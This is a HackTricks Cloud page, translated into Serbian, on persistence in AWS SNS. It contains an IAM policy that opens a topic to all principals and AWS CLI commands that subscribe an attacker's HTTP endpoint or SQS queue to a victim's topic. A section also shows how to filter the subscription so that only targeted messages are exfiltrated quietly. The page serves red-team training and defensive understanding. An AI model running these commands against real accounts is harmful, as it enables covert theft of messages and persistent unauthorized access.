AWS - SNS Persistence
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
SNS
For more information check:
Persistence
Kada kreirate SNS topic, potrebno je putem IAM policy-ja naznačiti ko ima pristup za čitanje i pisanje. Moguće je navesti spoljne naloge, ARN uloga, ili čak “*”.
Sledeća policy daje svima u AWS pristup za čitanje i pisanje u SNS topic pod nazivom MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Kreirajte pretplatnike
Da bi nastavio exfiltrating svih poruka sa svih tema, attacker može kreirati pretplatnike za sve teme.
Imajte na umu da, ako je tema tipa FIFO, mogu se koristiti samo pretplatnici koji koriste protokol SQS.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Tajna, selektivna eksfiltracija preko FilterPolicy na MessageBody
Napadač koji ima sns:Subscribe i sns:SetSubscriptionAttributes na topic-u može kreirati prikrivenu SQS pretplatu koja prosleđuje samo poruke čije telo u JSON-u odgovara veoma uskom filteru (npr. {"secret":"true"}). Ovo smanjuje obim i detekciju, a ipak omogućava eksfiltraciju osetljivih zapisa.
Mogući uticaj: Tajna, niskobučna eksfiltracija samo ciljanih SNS poruka sa topica žrtve.
Koraci (AWS CLI):
- Osigurajte da politika SQS reda napadača dozvoljava
sqs:SendMessagesa žrtvinogTopicArn(Conditionaws:SourceArnjednakoTopicArn). - Kreirajte SQS pretplatu na topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Podesite filter da radi na MessageBody i da se poklapa samo sa
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Opcionalna prikrivenost: omogućite RawMessageDelivery tako da samo raw payload stigne u prijemnik:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Verifikacija: objavite dve poruke i potvrdite da je samo prva isporučena u red napadača. Primer payload-a:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Čišćenje: otkažite pretplatu i obrišite SQS red napadača ako je kreiran za testiranje persistencije.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

